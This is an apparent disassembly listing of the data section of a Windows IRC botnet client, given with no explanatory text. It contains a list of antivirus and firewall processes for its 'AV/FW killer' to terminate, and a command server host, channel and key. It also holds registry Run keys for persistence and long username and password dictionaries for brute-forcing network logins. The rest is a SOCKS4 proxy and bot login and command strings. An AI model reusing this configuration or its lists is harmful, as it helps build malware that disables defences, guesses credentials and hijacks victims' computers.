aAvpm_exe db 'AVPM.EXE',0 ; DATA XREF: .data:00421FD0o
align 4
aAvpdos32_exe db 'AVPDOS32.EXE',0 ; DATA XREF: .data:00421FCCo
align 4
aAvpcc_exe db 'AVPCC.EXE',0 ; DATA XREF: .data:00421FC8o
align 4
aAvp32_exe db 'AVP32.EXE',0 ; DATA XREF: .data:00421FC4o
align 4
aAvp_exe db 'AVP.EXE',0 ; DATA XREF: .data:00421FC0o
aAvnt_exe db 'AVNT.EXE',0 ; DATA XREF: .data:00421FBCo
align 4
aAvltmain_exe db 'AVLTMAIN.EXE',0 ; DATA XREF: .data:00421FB8o
align 4
aAvkwctl9_exe db 'AVKWCTl9.EXE',0 ; DATA XREF: .data:00421FB4o
align 4
aAvkservice_exe db 'AVKSERVICE.EXE',0 ; DATA XREF: .data:00421FB0o
align 4
aAvkserv_exe db 'AVKSERV.EXE',0 ; DATA XREF: .data:00421FACo
aAvkpop_exe db 'AVKPOP.EXE',0 ; DATA XREF: .data:00421FA8o
align 10h
aAvgw_exe db 'AVGW.EXE',0 ; DATA XREF: .data:00421FA4o
align 4
aAvguard_exe db 'AVGUARD.EXE',0 ; DATA XREF: .data:00421FA0o
aAvgserv9_exe db 'AVGSERV9.EXE',0 ; DATA XREF: .data:00421F9Co
align 4
aAvgserv_exe db 'AVGSERV.EXE',0 ; DATA XREF: .data:00421F98o
aAvgnt_exe db 'AVGNT.EXE',0 ; DATA XREF: .data:00421F94o
align 10h
aAvgctrl_exe db 'AVGCTRL.EXE',0 ; DATA XREF: .data:00421F90o
aAvgcc32_exe db 'AVGCC32.EXE',0 ; DATA XREF: .data:00421F8Co
aAve32_exe db 'AVE32.EXE',0 ; DATA XREF: .data:00421F88o
align 4
aAvconsol_exe db 'AVCONSOL.EXE',0 ; DATA XREF: .data:00421F84o
align 4
aAutoupdate_exe db 'AUTOUPDATE.EXE',0 ; DATA XREF: .data:00421F7Co
; .data:00421F80o
align 4
aAutotrace_exe db 'AUTOTRACE.EXE',0 ; DATA XREF: .data:00421F74o
; .data:00421F78o
align 4
aAutodown_exe db 'AUTODOWN.EXE',0 ; DATA XREF: .data:00421F6Co
; .data:00421F70o
align 4
aAupdate_exe db 'AUPDATE.EXE',0 ; DATA XREF: .data:00421F64o
; .data:00421F68o
aAu_exe db 'AU.EXE',0 ; DATA XREF: .data:00421F60o
align 4
aAtwatch_exe db 'ATWATCH.EXE',0 ; DATA XREF: .data:00421F5Co
aAtupdater_exe db 'ATUPDATER.EXE',0 ; DATA XREF: .data:00421F54o
; .data:00421F58o
align 4
aAtro55en_exe db 'ATRO55EN.EXE',0 ; DATA XREF: .data:00421F50o
align 4
aAtguard_exe db 'ATGUARD.EXE',0 ; DATA XREF: .data:00421F4Co
aAtcon_exe db 'ATCON.EXE',0 ; DATA XREF: .data:00421F48o
align 4
aArr_exe db 'ARR.EXE',0 ; DATA XREF: .data:00421F44o
aApvxdwin_exe db 'APVXDWIN.EXE',0 ; DATA XREF: .data:00421F40o
align 4
aAplica32_exe db 'APLICA32.EXE',0 ; DATA XREF: .data:00421F3Co
align 4
aApimonitor_exe db 'APIMONITOR.EXE',0 ; DATA XREF: .data:00421F38o
align 4
aAnts_exe db 'ANTS.EXE',0 ; DATA XREF: .data:00421F34o
align 10h
aAntivirus_exe db 'ANTIVIRUS.EXE',0 ; DATA XREF: .data:00421F30o
align 10h
aAntiTrojan_exe db 'ANTI-TROJAN.EXE',0 ; DATA XREF: .data:00421F2Co
aAmon9x_exe db 'AMON9X.EXE',0 ; DATA XREF: .data:00421F28o
align 4
aAlogserv_exe db 'ALOGSERV.EXE',0 ; DATA XREF: .data:00421F24o
align 4
aAlevir_exe db 'ALEVIR.EXE',0 ; DATA XREF: .data:00421F20o
align 4
aAlertsvc_exe db 'ALERTSVC.EXE',0 ; DATA XREF: .data:00421F1Co
align 4
aAgentw_exe db 'AGENTW.EXE',0 ; DATA XREF: .data:00421F18o
align 4
aAgentsvr_exe db 'AGENTSVR.EXE',0 ; DATA XREF: .data:00421F14o
align 4
aAdvxdwin_exe db 'ADVXDWIN.EXE',0 ; DATA XREF: .data:00421F10o
align 4
aAdaware_exe db 'ADAWARE.EXE',0 ; DATA XREF: .data:00421F0Co
aAckwin32_exe db 'ACKWIN32.EXE',0 ; DATA XREF: .data:off_421F08o
align 10h
; char aSD_0[]
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4088B4+191o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4088B4+5Ao
; sub_4088B4+1F3o
align 10h
; char aProcProcessL_0[]
aProcProcessL_0 db '[PROC]: Process list failed.',0 ; DATA XREF: sub_408AE3:loc_408B6Ao
align 10h
aProcProcessLis db '[PROC]: Process list completed.',0 ; DATA XREF: sub_408AE3+80o
; char aProcListingPro[]
aProcListingPro db '[PROC]: Listing processes:',0 ; DATA XREF: sub_408AE3+19o
align 4
dword_424A3C dd 1B9h ; DATA XREF: WinMain(x,x,x,x)+519r
; WinMain(x,x,x,x)+5CCr
dword_424A40 dd 346h ; DATA XREF: WinMain(x,x,x,x)+618r
dword_424A44 dd 1F41h ; DATA XREF: sub_409557:loc_40E5ADr
dword_424A48 dd 45h ; DATA XREF: sub_4022E3+3Br
; sub_409557+45A3r
dword_424A4C dd 50h ; DATA XREF: sub_4022E3:loc_402592r
; sub_409557:loc_40DBECr
dword_424A50 dd 201h ; DATA XREF: sub_409557:loc_40DD62r
dword_424A54 dd 1 ; DATA XREF: sub_409557+649r
dword_424A58 dd 1 ; DATA XREF: WinMain(x,x,x,x)+13Dr
dword_424A5C dd 1 ; DATA XREF: sub_40724A+Cr
; WinMain(x,x,x,x):loc_408F59r
byte_424A60 db 7Ah ; DATA XREF: sub_403A12:loc_403A1Er
; sub_409557+6B4r ...
align 4
dword_424A64 dd 5 ; DATA XREF: sub_40F6CD+2Br
; sub_40F6CD+51r ...
; int dword_424A68
dword_424A68 dd 1 ; DATA XREF: sub_409277+78r
; sub_409557+27Cr ...
; int dword_424A6C
dword_424A6C dd 1 ; DATA XREF: sub_409277+72r
; sub_409557+276r
; char aFenr[]
aFenr db 'FEnR',0 ; DATA XREF: WinMain(x,x,x,x)+5Do
; sub_409557+35C2o ...
align 4
aFenr_0 db 'FEnR',0 ; DATA XREF: sub_409557:loc_40E6B0o
align 10h
; char a19736666386888[]
a19736666386888 db '19736666386888',0 ; DATA XREF: sub_409557+52D6o
; sub_409557+53A5o
align 10h
; char aFf_arabHacker_[]
aFf_arabHacker_ db 'ff.arab-hacker.org',0 ; DATA XREF: WinMain(x,x,x,x)+504o
; WinMain(x,x,x,x)+5BDo
align 4
; char aFf[]
aFf db '#ff',0 ; DATA XREF: WinMain(x,x,x,x)+525o
; WinMain(x,x,x,x)+5D3o
; char aFuckoff[]
aFuckoff db 'fuckoff',0 ; DATA XREF: WinMain(x,x,x,x)+53Co
; WinMain(x,x,x,x)+5E5o
; char aGvujaleodq_exe[]
aGvujaleodq_exe db 'gvujaleodq.exe',0 ; DATA XREF: sub_40119B+Fo
; .text:00401802o ...
align 10h
aMscobngins_dat db 'mscobngins.dat',0
align 10h
aWindowsUpdate5 db 'Windows update 55',0 ; DATA XREF: sub_402FA4+Eo
align 4
aFf_1 db '[FF]-',0 ; DATA XREF: sub_40F6CD+12o
align 4
aPay0load db 'pay0load',0
align 4
asc_424AF8 db '+x',0 ; DATA XREF: sub_409557+5425o
align 4
; char aFf_0[]
aFf_0 db '#ff-',0 ; DATA XREF: sub_409557:loc_40C034o
; sub_409557+4403o
align 4
aFfkey db '#ffKey',0
align 4
aFa db '#fa',0
off_424B10 dd offset a@fofo ; DATA XREF: sub_409557:loc_40E889o
; "*@fofo"
off_424B14 dd offset aMircV6_12Khale ; DATA XREF: sub_409557+82Dr
; sub_409557+534Eo
; "mIRC v6.12 Khaled Mardam-Bey"
dd offset aMircV6_03Khale ; "mIRC v6.03 Khaled Mardam-Bey"
dd offset aMirc32V5_82K_m ; "mIRC32 v5.82 K.Mardam-Bey"
dd offset aMirc32V6_01K_m ; "mIRC32 v6.01 K.Mardam-Bey"
dd offset aMirc32V6_03K_m ; "mIRC32 v6.03 K.Mardam-Bey"
dd offset aMirc32V6_12K_m ; "mIRC32 v6.12 K.Mardam-Bey"
dd offset aMircV5_71K_mar ; "mIRC v5.71 K.Mardam-Bey"
dd offset aMircV5_82K_mar ; "mIRC v5.82 K.Mardam-Bey"
dd offset aMircV6_01K_mar ; "mIRC v6.01 K.Mardam-Bey"
dd offset aMircV6_03K_mar ; "mIRC v6.03 K.Mardam-Bey"
aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Run',0
align 4
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicr_1 db 'Software\Microsoft\OLE',0
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0
align 4
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aStaff ; "staff"
dd offset aRoot ; "root"
dd offset aComputer ; "computer"
dd offset aOwner ; "owner"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aWwwadmin ; "wwwadmin"
dd offset aGuest_0 ; "guest"
dd offset aDefault ; "default"
dd offset aDatabase ; "database"
dd offset aDba ; "dba"
dd offset aOracle ; "oracle"
dd offset aDb2 ; "db2"
dd 0
dd offset byte_428D64
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aAdm ; "adm"
dd offset aPassword1 ; "password1"
dd offset aPassword ; "password"
dd offset aPasswd ; "passwd"
dd offset aPass1234 ; "pass1234"
dd offset aPass_0 ; "pass"
dd offset aPwd ; "pwd"
dd offset a007 ; "007"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a1234567890 ; "1234567890"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2004 ; "2004"
dd offset aTest ; "test"
dd offset aGuest_0 ; "guest"
dd offset aNone ; "none"
dd offset aDemo ; "demo"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aDefault ; "default"
dd offset aSystem ; "system"
dd offset aServer_1 ; "server"
dd offset aRoot ; "root"
dd offset aNull_1 ; "null"
dd offset aQwerty ; "qwerty"
dd offset aMail ; "mail"
dd offset aOutlook ; "outlook"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aAccounts ; "accounts"
dd offset aAccounting ; "accounting"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser_2 ; "user"
dd offset aOem ; "oem"
dd offset aOemuser ; "oemuser"
dd offset aOeminstall ; "oeminstall"
dd offset aWindows ; "windows"
dd offset aWin98 ; "win98"
dd offset aWin2k ; "win2k"
dd offset aWinxp ; "winxp"
dd offset aWinnt ; "winnt"
dd offset aWin2000 ; "win2000"
dd offset aQaz ; "qaz"
dd offset aAsd ; "asd"
dd offset aZxc ; "zxc"
dd offset aQwe ; "qwe"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
dd offset aSusan ; "susan"
dd offset aPeter ; "peter"
dd offset aBrian ; "brian"
dd offset aLee ; "lee"
dd offset aNeil ; "neil"
dd offset aIan ; "ian"
dd offset aChris ; "chris"
dd offset aEric ; "eric"
dd offset aGeorge ; "george"
dd offset aKate ; "kate"
dd offset aBob ; "bob"
dd offset aKatie ; "katie"
dd offset aMary ; "mary"
dd offset aLogin ; "login"
dd offset aLoginpass ; "loginpass"
dd offset aTechnical ; "technical"
dd offset aBackup ; "backup"
dd offset aExchange ; "exchange"
dd offset aFuck ; "fuck"
dd offset aBitch ; "bitch"
dd offset aSlut ; "slut"
dd offset aSex ; "sex"
dd offset aGod ; "god"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aDomain ; "domain"
dd offset aDomainpass ; "domainpass"
dd offset aDomainpassword ; "domainpassword"
dd offset aDatabase ; "database"
dd offset aAccess ; "access"
dd offset aDbpass ; "dbpass"
dd offset aDbpassword ; "dbpassword"
dd offset aDatabasepass ; "databasepass"
dd offset aData ; "data"
dd offset aDatabasepasswo ; "databasepassword"
dd offset aDb1 ; "db1"
dd offset aDb2 ; "db2"
dd offset aDb1234 ; "db1234"
dd offset aSa ; "sa"
dd offset aSql ; "sql"
dd offset aSqlpassoainsta ; "sqlpassoainstall"
dd offset aOrainstall ; "orainstall"
dd offset aOracle ; "oracle"
dd offset aIbm ; "ibm"
dd offset aCisco ; "cisco"
dd offset aDell ; "dell"
dd offset aCompaq ; "compaq"
dd offset aSiemens ; "siemens"
dd offset aHp ; "hp"
dd offset aNokia ; "nokia"
dd offset aXp_0 ; "xp"
dd offset aControl ; "control"
dd offset aOffice ; "office"
dd offset aBlank ; "blank"
dd offset aWinpass ; "winpass"
dd offset aMain ; "main"
dd offset aLan ; "lan"
dd offset aInternet ; "internet"
dd offset aIntranet ; "intranet"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aStaff ; "staff"
dd 0
dword_424E64 dd 10h ; DATA XREF: sub_402C6B+72w
; sub_409557+718r ...
aIntranet db 'intranet',0 ; DATA XREF: .data:00424E50o
align 4
aLan db 'lan',0 ; DATA XREF: .data:00424E48o
aMain db 'main',0 ; DATA XREF: .data:00424E44o
align 10h
aWinpass db 'winpass',0 ; DATA XREF: .data:00424E40o
aBlank db 'blank',0 ; DATA XREF: .data:00424E3Co
align 10h
aOffice db 'office',0 ; DATA XREF: .data:00424E38o
align 4
aControl db 'control',0 ; DATA XREF: .data:00424E34o
aXp_0 db 'xp',0 ; DATA XREF: .data:00424E30o
align 4
aNokia db 'nokia',0 ; DATA XREF: .data:00424E2Co
align 4
aHp db 'hp',0 ; DATA XREF: .data:00424E28o
align 10h
aSiemens db 'siemens',0 ; DATA XREF: .data:00424E24o
aCompaq db 'compaq',0 ; DATA XREF: .data:00424E20o
align 10h
aDell db 'dell',0 ; DATA XREF: .data:00424E1Co
align 4
aCisco db 'cisco',0 ; DATA XREF: .data:00424E18o
align 10h
aIbm db 'ibm',0 ; DATA XREF: .data:00424E14o
aOrainstall db 'orainstall',0 ; DATA XREF: .data:00424E0Co
align 10h
aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .data:00424E08o
align 4
aSql db 'sql',0 ; DATA XREF: .data:00424E04o
aSa db 'sa',0 ; DATA XREF: .data:00424E00o
align 4
aDb1234 db 'db1234',0 ; DATA XREF: .data:00424DFCo
align 4
aDb1 db 'db1',0 ; DATA XREF: .data:00424DF4o
aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .data:00424DF0o
align 4
aData db 'data',0 ; DATA XREF: .data:00424DECo
align 4
aDatabasepass db 'databasepass',0 ; DATA XREF: .data:00424DE8o
align 4
aDbpassword db 'dbpassword',0 ; DATA XREF: .data:00424DE4o
align 10h
aDbpass db 'dbpass',0 ; DATA XREF: .data:00424DE0o
align 4
aAccess db 'access',0 ; DATA XREF: .data:00424DDCo
align 10h
aDomainpassword db 'domainpassword',0 ; DATA XREF: .data:00424DD4o
align 10h
aDomainpass db 'domainpass',0 ; DATA XREF: .data:00424DD0o
align 4
aDomain db 'domain',0 ; DATA XREF: .data:00424DCCo
align 4
aHello db 'hello',0 ; DATA XREF: .data:00424DC8o
align 4
aHell db 'hell',0 ; DATA XREF: .data:00424DC4o
align 4
aGod db 'god',0 ; DATA XREF: .data:00424DC0o
aSex db 'sex',0 ; DATA XREF: .data:00424DBCo
aSlut db 'slut',0 ; DATA XREF: .data:00424DB8o
align 4
aBitch db 'bitch',0 ; DATA XREF: .data:00424DB4o
align 4
aFuck db 'fuck',0 ; DATA XREF: .data:00424DB0o
align 4
aExchange db 'exchange',0 ; DATA XREF: .data:00424DACo
align 10h
aBackup db 'backup',0 ; DATA XREF: .data:00424DA8o
align 4
aTechnical db 'technical',0 ; DATA XREF: .data:00424DA4o
align 4
aLoginpass db 'loginpass',0 ; DATA XREF: .data:00424DA0o
align 10h
aLogin db 'login',0 ; DATA XREF: .data:00424D9Co
align 4
aMary db 'mary',0 ; DATA XREF: .data:00424D98o
align 10h
aKatie db 'katie',0 ; DATA XREF: .data:00424D94o
align 4
aKate db 'kate',0 ; DATA XREF: .data:00424D8Co
align 10h
aGeorge db 'george',0 ; DATA XREF: .data:00424D88o
align 4
aEric db 'eric',0 ; DATA XREF: .data:00424D84o
align 10h
aChris db 'chris',0 ; DATA XREF: .data:00424D80o
align 4
aIan db 'ian',0 ; DATA XREF: .data:00424D7Co
aNeil db 'neil',0 ; DATA XREF: .data:00424D78o
align 4
aLee db 'lee',0 ; DATA XREF: .data:00424D74o
aBrian db 'brian',0 ; DATA XREF: .data:00424D70o
align 10h
aSusan db 'susan',0 ; DATA XREF: .data:00424D68o
align 4
aSue db 'sue',0 ; DATA XREF: .data:00424D64o
aSam db 'sam',0 ; DATA XREF: .data:00424D60o
aLuke db 'luke',0 ; DATA XREF: .data:00424D5Co
align 4
aPeter db 'peter',0 ; DATA XREF: .data:00424D58o
; .data:00424D6Co
align 10h
aJohn db 'john',0 ; DATA XREF: .data:00424D54o
align 4
aMike db 'mike',0 ; DATA XREF: .data:00424D50o
align 10h
aBill db 'bill',0 ; DATA XREF: .data:00424D4Co
align 4
aFred db 'fred',0 ; DATA XREF: .data:00424D48o
align 10h
aJoe db 'joe',0 ; DATA XREF: .data:00424D44o
aJen db 'jen',0 ; DATA XREF: .data:00424D40o
aBob db 'bob',0 ; DATA XREF: .data:00424D3Co
; .data:00424D90o
aQwe db 'qwe',0 ; DATA XREF: .data:00424D38o
aZxc db 'zxc',0 ; DATA XREF: .data:00424D34o
aAsd db 'asd',0 ; DATA XREF: .data:00424D30o
aQaz db 'qaz',0 ; DATA XREF: .data:00424D2Co
aWin2000 db 'win2000',0 ; DATA XREF: .data:00424D28o
aWinnt db 'winnt',0 ; DATA XREF: .data:00424D24o
align 4
aWinxp db 'winxp',0 ; DATA XREF: .data:00424D20o
align 4
aWin2k db 'win2k',0 ; DATA XREF: .data:00424D1Co
align 4
aWin98 db 'win98',0 ; DATA XREF: .data:00424D18o
align 4
aWindows db 'windows',0 ; DATA XREF: .data:00424D14o
aOeminstall db 'oeminstall',0 ; DATA XREF: .data:00424D10o
align 4
aOemuser db 'oemuser',0 ; DATA XREF: .data:00424D0Co
aOem db 'oem',0 ; DATA XREF: .data:00424D08o
; char aUser_2[]
aUser_2 db 'user',0 ; DATA XREF: sub_409557+1A22o
; .data:00424D04o
align 4
aHomeuser db 'homeuser',0 ; DATA XREF: .data:00424D00o
align 4
aHome db 'home',0 ; DATA XREF: .data:00424CFCo
align 10h
aAccounting db 'accounting',0 ; DATA XREF: .data:00424CF8o
align 4
aAccounts db 'accounts',0 ; DATA XREF: .data:00424CF4o
align 4
aInternet db 'internet',0 ; DATA XREF: .data:00424CF0o
; .data:00424E4Co
align 4
aWww db 'www',0 ; DATA XREF: .data:00424CECo
aWeb db 'web',0 ; DATA XREF: .data:00424CE8o
aOutlook db 'outlook',0 ; DATA XREF: .data:00424CE4o
aMail db 'mail',0 ; DATA XREF: .data:00424CE0o
align 4
aQwerty db 'qwerty',0 ; DATA XREF: .data:00424CDCo
align 4
aNull_1 db 'null',0 ; DATA XREF: .data:00424CD8o
align 4
aServer_1 db 'server',0 ; DATA XREF: .data:00424CD0o
align 4
aSystem db 'system',0 ; DATA XREF: .data:00424CCCo
align 4
aChangeme db 'changeme',0 ; DATA XREF: .data:00424CC4o
align 4
aLinux db 'linux',0 ; DATA XREF: .data:00424CC0o
align 10h
aUnix db 'unix',0 ; DATA XREF: .data:00424CBCo
align 4
aDemo db 'demo',0 ; DATA XREF: .data:00424CB8o
align 10h
aNone db 'none',0 ; DATA XREF: .data:00424CB4o
align 4
aTest db 'test',0 ; DATA XREF: .data:00424CACo
align 10h
a2004 db '2004',0 ; DATA XREF: .data:00424CA8o
align 4
a2003 db '2003',0 ; DATA XREF: sub_410E85+BAo
; .data:00424CA4o
align 10h
a2002 db '2002',0 ; DATA XREF: .data:00424CA0o
align 4
a2001 db '2001',0 ; DATA XREF: .data:00424C9Co
align 10h
a2000 db '2000',0 ; DATA XREF: .data:00424C98o
align 4
a1234567890 db '1234567890',0 ; DATA XREF: .data:00424C94o
align 4
a123456789 db '123456789',0 ; DATA XREF: .data:00424C90o
align 10h
a12345678 db '12345678',0 ; DATA XREF: .data:00424C8Co
align 4
a1234567 db '1234567',0 ; DATA XREF: .data:00424C88o
a123456 db '123456',0 ; DATA XREF: .data:00424C84o
align 4
a12345 db '12345',0 ; DATA XREF: .data:00424C80o
align 4
a1234 db '1234',0 ; DATA XREF: .data:00424C7Co
align 4
a123 db '123',0 ; DATA XREF: .data:00424C78o
a12 db '12',0 ; DATA XREF: .data:00424C74o
align 4
a1: ; DATA XREF: .data:00424C70o
unicode 0, <1>,0
a007 db '007',0 ; DATA XREF: .data:00424C6Co
aPwd db 'pwd',0 ; DATA XREF: .data:00424C68o
aPass_0 db 'pass',0 ; DATA XREF: .data:00424C64o
align 4
aPass1234 db 'pass1234',0 ; DATA XREF: .data:00424C60o
align 4
aPasswd db 'passwd',0 ; DATA XREF: .data:00424C5Co
align 4
aPassword db 'password',0 ; DATA XREF: .data:00424C58o
align 4
aPassword1 db 'password1',0 ; DATA XREF: .data:00424C54o
align 4
aAdm db 'adm',0 ; DATA XREF: .data:00424C50o
aDb2 db 'db2',0 ; DATA XREF: .data:00424C2Co
; .data:00424DF8o
aOracle db 'oracle',0 ; DATA XREF: .data:00424C28o
; .data:00424E10o
align 4
aDba db 'dba',0 ; DATA XREF: .data:00424C24o
aDatabase db 'database',0 ; DATA XREF: .data:00424C20o
; .data:00424DD8o
align 4
aDefault db 'default',0 ; DATA XREF: .data:00424C1Co
; .data:00424CC8o
aGuest_0 db 'guest',0 ; DATA XREF: .data:00424C18o
; .data:00424CB0o
align 4
aWwwadmin db 'wwwadmin',0 ; DATA XREF: .data:00424C14o
align 10h
aTeacher db 'teacher',0 ; DATA XREF: .data:00424C10o
; .data:00424E58o
aStudent db 'student',0 ; DATA XREF: .data:00424C0Co
; .data:00424E54o
aOwner db 'owner',0 ; DATA XREF: .data:00424C08o
align 4
aComputer db 'computer',0 ; DATA XREF: .data:00424C04o
align 4
aRoot db 'root',0 ; DATA XREF: .data:00424C00o
; .data:00424CD4o
align 4
aStaff db 'staff',0 ; DATA XREF: .data:00424BFCo
; .data:00424E5Co
align 4
aAdmin db 'admin',0 ; DATA XREF: .data:00424BF8o
; .data:00424C4Co
align 4
aAdmins db 'admins',0 ; DATA XREF: .data:00424BF4o
; .data:00424C48o
align 4
aAdministrat db 'administrat',0 ; DATA XREF: .data:00424BF0o
; .data:00424C44o
aAdministrateur db 'administrateur',0 ; DATA XREF: .data:00424BECo
; .data:00424C40o
align 10h
aAdministrador db 'administrador',0 ; DATA XREF: .data:00424BE8o
; .data:00424C3Co
align 10h
aAdministrato_0 db 'administrator',0 ; DATA XREF: .data:00424BE4o
; .data:00424C38o
align 10h
aMircV6_03K_mar db 'mIRC v6.03 K.Mardam-Bey',0 ; DATA XREF: .data:00424B38o
aMircV6_01K_mar db 'mIRC v6.01 K.Mardam-Bey',0 ; DATA XREF: .data:00424B34o
aMircV5_82K_mar db 'mIRC v5.82 K.Mardam-Bey',0 ; DATA XREF: .data:00424B30o
aMircV5_71K_mar db 'mIRC v5.71 K.Mardam-Bey',0 ; DATA XREF: .data:00424B2Co
aMirc32V6_12K_m db 'mIRC32 v6.12 K.Mardam-Bey',0 ; DATA XREF: .data:00424B28o
align 4
aMirc32V6_03K_m db 'mIRC32 v6.03 K.Mardam-Bey',0 ; DATA XREF: .data:00424B24o
align 4
aMirc32V6_01K_m db 'mIRC32 v6.01 K.Mardam-Bey',0 ; DATA XREF: .data:00424B20o
align 4
aMirc32V5_82K_m db 'mIRC32 v5.82 K.Mardam-Bey',0 ; DATA XREF: .data:00424B1Co
align 10h
aMircV6_03Khale db 'mIRC v6.03 Khaled Mardam-Bey',0 ; DATA XREF: .data:00424B18o
align 10h
aMircV6_12Khale db 'mIRC v6.12 Khaled Mardam-Bey',0 ; DATA XREF: .data:off_424B14o
align 10h
a@fofo db '*@fofo',0 ; DATA XREF: .data:off_424B10o
align 4
; char aIdentdFailedTo[]
aIdentdFailedTo db '[IDENTD]: Failed to start server, error: <%d>.',0
; DATA XREF: WinMain(x,x,x,x)+4DBo
; sub_409557+182Fo
align 4
; char aIdentdServerRu[]
aIdentdServerRu db '[IDENTD]: Server running on Port: 113.',0
; DATA XREF: WinMain(x,x,x,x)+490o
; sub_409557+17E2o
align 10h
; char aSecureFailedTo[]
aSecureFailedTo db '[SECURE]: Failed to start registry thread, error: <%d>.',0
; DATA XREF: WinMain(x,x,x,x)+463o
aSecureRegistry db '[SECURE]: Registry monitor active.',0 ; DATA XREF: WinMain(x,x,x,x)+410o
align 4
; char aProcsFailedToS[]
aProcsFailedToS db '[PROCS]: Failed to start AV/FW killer thread, error: <%d>.',0
; DATA XREF: WinMain(x,x,x,x)+3F0o
align 4
; char aProcsAvFwKille[]
aProcsAvFwKille db '[PROCS]: AV/FW Killer active.',0 ; DATA XREF: WinMain(x,x,x,x)+39Fo
align 4
; char aMainBotStarted[]
aMainBotStarted db '[MAIN]: Bot started.',0 ; DATA XREF: WinMain(x,x,x,x)+364o
align 10h
; char aSDS[]
aSDS db '%s %d "%s"',0 ; DATA XREF: WinMain(x,x,x,x)+28Fo
align 4
; char aSS_0[]
aSS_0 db '%s\%s',0 ; DATA XREF: WinMain(x,x,x,x)+189o
align 4
; char aMainConnectedT[]
aMainConnectedT db '[MAIN]: Connected to %s.',0 ; DATA XREF: sub_409277+F2o
align 10h
; char aNickSUserS00S[]
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_4093DF+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
; char aPassS[]
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_4093DF+35o
align 4
; char aModeSS[]
aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_409557+542Do
align 4
; char aUserhostS[]
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_409557+5418o
align 4
; char aMainUserSLog_1[]
aMainUserSLog_1 db '[MAIN]: User: %s logged in.',0 ; DATA XREF: sub_409557+5404o
aMainPasswordAc db '[MAIN]: Password accepted.',0 ; DATA XREF: sub_409557+53E7o
align 10h
aMainFailedHost db '[MAIN]: *Failed host auth by: (%s!%s).',0 ; DATA XREF: sub_409557+5389o
align 4
; char aNoticeSHostAut[]
aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_409557+5366o
align 10h
; char aMainFailedPass[]
aMainFailedPass db '[MAIN]: *Failed pass auth by: (%s!%s).',0 ; DATA XREF: sub_409557+5319o
align 4
; char aNoticeSYourAtt[]
aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_409557+530Ao
; sub_409557+537Ao
align 4
; char aNoticeSPassAut[]
aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_409557+52F6o
align 4
; char asc_42569C[]
asc_42569C: ; DATA XREF: sub_409557+52C6o
unicode 0, <~>,0
; char aMainRandomNick[]
aMainRandomNick db '[MAIN]: Random nick change: %s',0 ; DATA XREF: sub_409557+5275o
align 10h
aMainInvalidLog db '[MAIN]: Invalid login slot number: %d.',0 ; DATA XREF: sub_409557+51BBo
align 4
aMainNoUserLogg db '[MAIN]: No user logged in at slot: %d.',0 ; DATA XREF: sub_409557+51B3o
align 10h
aMainS db '[MAIN]: %s',0 ; DATA XREF: sub_409557+515Eo
align 4
aSocks4FailedTo db '[SOCKS4]: Failed to start server thread, error: <%d>.',0
; DATA XREF: sub_409557+514Fo
align 4
; char aSocks4ServerSt[]
aSocks4ServerSt db '[SOCKS4]: Server started on: %s:%d.',0 ; DATA XREF: sub_409557+50E0o
; sub_4103F5+A8o
aProc db '[PROC]',0 ; DATA XREF: sub_409557+5016o
align 10h
aProcessList db 'Process list',0 ; DATA XREF: sub_409557+5011o
align 10h
aMainReconnecti db '[MAIN]: Reconnecting.',0 ; DATA XREF: sub_409557+4FDEo
align 4
; char aQuitReconnecti[]
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_409557:loc_40E528o
align 10h
aMainDisconnect db '[MAIN]: Disconnecting.',0 ; DATA XREF: sub_409557+4FBCo
align 4
; char aQuitDisconnect[]
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_409557:loc_40E506o
align 10h
; char aQuitS[]
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_409557+4F87o
align 4
